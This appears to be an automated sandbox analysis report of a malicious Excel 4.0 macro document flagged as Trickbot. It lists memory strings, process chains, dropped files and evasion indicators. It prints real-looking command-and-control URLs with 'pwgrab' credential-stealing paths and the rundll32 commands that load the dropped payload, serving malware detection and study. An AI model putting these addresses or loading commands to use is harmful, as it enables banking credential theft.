Source: wermgr.exe, 00000006.00000002.2362599901.0000000033740000.00000002.00000001.sdmp, taskeng.exe, 00000008.00000002.2357215363.0000000000800000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: rundll32.exe, 00000003.00000002.2095309685.0000000001BE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094325254.0000000001D70000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2362993370.0000000033B30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357183823.0000000000850000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2095488522.0000000001DC7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094574045.0000000001F57000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2363189685.0000000033D17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357387753.0000000000A37000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000003.00000002.2095309685.0000000001BE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094325254.0000000001D70000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2362993370.0000000033B30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357183823.0000000000850000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000009.00000002.2357183823.0000000000850000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: wermgr.exe, 00000006.00000002.2362554842.00000000333A0000.00000004.00000001.sdmp	String found in binary or memory: https://185.109.54.99:447/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/5/pwgrab64/
Source: wermgr.exe, 00000006.00000002.2357365100.0000000000423000.00000004.00000020.sdmp	String found in binary or memory: https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/jvvnxhpdjrND3fPr33rZPHh
Source: wermgr.exe, 00000006.00000002.2362547188.0000000033395000.00000004.00000001.sdmp	String found in binary or memory: https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/rznnTbpNFJV19x1x/
Source: wermgr.exe, 00000006.00000002.2357267628.0000000000340000.00000004.00000020.sdmp	String found in binary or memory: https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/rznnTbpNFJV19x1x/U
Source: wermgr.exe, 00000006.00000002.2362547188.0000000033395000.00000004.00000001.sdmp	String found in binary or memory: https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/rznnTbpNFJV19x1x/o
Source: wermgr.exe, 00000006.00000002.2362530513.000000003337E000.00000004.00000001.sdmp	String found in binary or memory: https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/64/pwgrab/DEBG//e
Source: wermgr.exe, 00000006.00000002.2362547188.0000000033395000.00000004.00000001.sdmp	String found in binary or memory: https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/64/pwgrab/DPST//
Source: wermgr.exe, 00000006.00000002.2362547188.0000000033395000.00000004.00000001.sdmp	String found in binary or memory: https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/64/pwgrab/DPST//3
Source: wermgr.exe, 00000006.00000002.2362536618.0000000033385000.00000004.00000001.sdmp	String found in binary or memory: https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/64/pwgrab/DPST//W
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 443

E-Banking Fraud:

Yara detected Trickbot

Show sources

Source: Yara match

File source: Process Memory Space: wermgr.exe PID: 2408, type: MEMORY

System Summary:

Found malicious Excel 4.0 Macro

Show sources

Source: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls

Initial sample: urlmon

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing button from the yellow bar above 15 " Once you have enabled editing, please click
Source: Screenshot number: 4	Screenshot OCR: Enable content button jl , ' ' "==~ " from the yellow bar above 1\| 24 25 26 27 28 29 30
Source: Document image extraction number: 0	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enable
Source: Document image extraction number: 0	Screenshot OCR: Enable content button from the yellow bar above I \ , I ' /
Source: Document image extraction number: 1	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enable
Source: Document image extraction number: 1	Screenshot OCR: Enable content button from the yellow bar above j'

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls

Initial sample: EXEC

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\BASE.BABAA			Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior

Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007B470 NtDelayExecution,	6_2_0007B470
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0006F6B0 NtQueryInformationProcess,	6_2_0006F6B0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000743C0 NtQuerySystemInformation,DuplicateHandle,CLSIDFromString,CloseHandle,HeapFree,	6_2_000743C0

Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00068010	6_2_00068010
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00082060	6_2_00082060
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007D0A0	6_2_0007D0A0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007BCA0	6_2_0007BCA0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00078CA0	6_2_00078CA0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0006E0F0	6_2_0006E0F0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00061500	6_2_00061500
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000789B0	6_2_000789B0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00069200	6_2_00069200
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00061290	6_2_00061290
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0006C290	6_2_0006C290
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000743C0	6_2_000743C0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00077840	6_2_00077840
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00080870	6_2_00080870
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000644C0	6_2_000644C0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000790E0	6_2_000790E0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000714F0	6_2_000714F0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00076100	6_2_00076100
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00076D10	6_2_00076D10
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00072580	6_2_00072580
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007CA00	6_2_0007CA00
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007BE20	6_2_0007BE20
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00077630	6_2_00077630
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007CE70	6_2_0007CE70
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0006A280	6_2_0006A280
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0006CEB0	6_2_0006CEB0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00073B00	6_2_00073B00
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007B700	6_2_0007B700
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0006E310	6_2_0006E310
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00062720	6_2_00062720
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00075F70	6_2_00075F70
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000763A8	6_2_000763A8
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000717B0	6_2_000717B0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00110040	6_2_00110040
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180014030	10_2_0000000180014030
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800B5134	10_2_00000001800B5134
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800A114C	10_2_00000001800A114C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800A0200	10_2_00000001800A0200
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018001F204	10_2_000000018001F204
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800873D0	10_2_00000001800873D0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008C5F4	10_2_000000018008C5F4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008B874	10_2_000000018008B874
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018009AAF4	10_2_000000018009AAF4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018001EC6C	10_2_000000018001EC6C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800B4D04	10_2_00000001800B4D04
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008BF24	10_2_000000018008BF24
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008E000	10_2_000000018008E000
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180093044	10_2_0000000180093044
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180086048	10_2_0000000180086048
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800210A4	10_2_00000001800210A4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180003174	10_2_0000000180003174
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180005190	10_2_0000000180005190
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008C188	10_2_000000018008C188
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800651D8	10_2_00000001800651D8
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008E218	10_2_000000018008E218
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008D22C	10_2_000000018008D22C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800A9250	10_2_00000001800A9250
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180023258	10_2_0000000180023258
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180001270	10_2_0000000180001270
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180010298	10_2_0000000180010298
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018001C2A8	10_2_000000018001C2A8
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800022B0	10_2_00000001800022B0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180016340	10_2_0000000180016340
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018002535C	10_2_000000018002535C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018007B3A8	10_2_000000018007B3A8
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800123C4	10_2_00000001800123C4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008C3D0	10_2_000000018008C3D0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800B3420	10_2_00000001800B3420
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008E478	10_2_000000018008E478
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800794B8	10_2_00000001800794B8
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800054D4	10_2_00000001800054D4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800A14D4	10_2_00000001800A14D4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800034E0	10_2_00000001800034E0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018009150C	10_2_000000018009150C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180063548	10_2_0000000180063548
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800CB548	10_2_00000001800CB548
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800CA564	10_2_00000001800CA564
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018005D59C	10_2_000000018005D59C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800015A8	10_2_00000001800015A8
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800935A4	10_2_00000001800935A4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800A25D0	10_2_00000001800A25D0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018007E5E0	10_2_000000018007E5E0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180002614	10_2_0000000180002614
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008E668	10_2_000000018008E668
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018001E6A4	10_2_000000018001E6A4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800B073C	10_2_00000001800B073C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180019748	10_2_0000000180019748
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800CB7C0	10_2_00000001800CB7C0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800B27E0	10_2_00000001800B27E0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018000381C	10_2_000000018000381C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800C5828	10_2_00000001800C5828
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008C844	10_2_000000018008C844
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180060854	10_2_0000000180060854
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800018EC	10_2_00000001800018EC
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018001B8F4	10_2_000000018001B8F4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008E938	10_2_000000018008E938
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180002958	10_2_0000000180002958
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018001897C	10_2_000000018001897C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800A99B0	10_2_00000001800A99B0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800C49AC	10_2_00000001800C49AC
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800249B8	10_2_00000001800249B8
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800A3A2C	10_2_00000001800A3A2C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180032A2C	10_2_0000000180032A2C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008BAFC	10_2_000000018008BAFC
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018001DB00	10_2_000000018001DB00
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018001DB04	10_2_000000018001DB04
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018001BB4C	10_2_000000018001BB4C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180090B48	10_2_0000000180090B48
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180003B54	10_2_0000000180003B54
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008DBA4	10_2_000000018008DBA4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018005CBF0	10_2_000000018005CBF0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180001C28	10_2_0000000180001C28
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180017C44	10_2_0000000180017C44
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800C1D10	10_2_00000001800C1D10
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180097D1C	10_2_0000000180097D1C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800ACD50	10_2_00000001800ACD50
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800AEDB4	10_2_00000001800AEDB4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180096DDC	10_2_0000000180096DDC
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800A1E2C	10_2_00000001800A1E2C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180091E50	10_2_0000000180091E50
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180004E50	10_2_0000000180004E50
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800BFE6C	10_2_00000001800BFE6C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018007DE68	10_2_000000018007DE68
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008CE80	10_2_000000018008CE80
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018006CEB8	10_2_000000018006CEB8
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180001F6C	10_2_0000000180001F6C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000000180035F70	10_2_0000000180035F70
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800AFFA4	10_2_00000001800AFFA4

Source: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls

OLE indicator, VBA macros: true

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes AA7931E3E85D3C5BD6FC2052C38BEE389BFBA9281A8616DA3275149A689EC5EB
Source: Joe Sandbox View	Dropped File: C:\Users\user\BASE.BABAA AA7931E3E85D3C5BD6FC2052C38BEE389BFBA9281A8616DA3275149A689EC5EB

Source: C:\Windows\System32\svchost.exe

Section loaded: imagepop.dll

Jump to behavior

Source: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls, type: SAMPLE

Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Source: rundll32.exe, 00000003.00000002.2095309685.0000000001BE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094325254.0000000001D70000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2362993370.0000000033B30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357183823.0000000000850000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLS@14/18@8/13

Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00064C40 LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,		6_2_00064C40
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00000001800B4E1C LookupPrivilegeValueA,AdjustTokenPrivileges,		10_2_00000001800B4E1C

Source: C:\Windows\System32\svchost.exe

Code function: 10_2_00000001800B5134 CreateToolhelp32Snapshot,Process32First,Process32Next,StrStrIA,

10_2_00000001800B5134

Source: C:\Windows\System32\wermgr.exe

Code function: 6_2_0006376C CoCreateInstance,

6_2_0006376C

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\D3DE0000

Jump to behavior

Source: C:\Windows\System32\wermgr.exe

Mutant created: \Sessions\1\BaseNamedObjects\Global\{20D2CF44-ED8C-5F48-68CE-BDAC24C4F6AF}

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC5FD.tmp

Jump to behavior

Source: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls

OLE indicator, Workbook stream: true

Source: C:\Windows\System32\wermgr.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\BASE.BABAA,DllRegisterServer

Source: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	Virustotal: Detection: 11%
Source: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	ReversingLabs: Detection: 27%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\BASE.BABAA,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\BASE.BABAA,DllRegisterServer
Source: unknown	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe
Source: unknown	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {DA6299CA-95CA-4E9D-8945-2CC05321254C} S-1-5-18:NT AUTHORITY\System:Service:
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.EXE 'C:\Users\user\AppData\Roaming\QNetMonitor7737977537\rpBASEtx.rrd',DllRegisterServer
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\BASE.BABAA,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\BASE.BABAA,DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.EXE 'C:\Users\user\AppData\Roaming\QNetMonitor7737977537\rpBASEtx.rrd',DllRegisterServer	Jump to behavior

Source: C:\Windows\System32\taskeng.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: F:\projects\cryptor_beta\Bin\Crypter\CrypterDllReleaseNoLogs\Win32\Crypter.pdb source: rundll32.exe, 00000004.00000002.2095142044.000000006E169000.00000002.00020000.sdmp

Data Obfuscation:

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00321BD0 push dword ptr [edx+14h]; ret	4_2_00321CDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00321C7A push dword ptr [edx+14h]; ret	4_2_00321CDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00321CFD push dword ptr [edx+14h]; ret	4_2_00321CDD

Persistence and Installation Behavior:

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\BASE.BABAA			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\BASE.BABAA

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\BASE.BABAA			Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\BASE.BABAA

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Source: C:\Windows\System32\wermgr.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
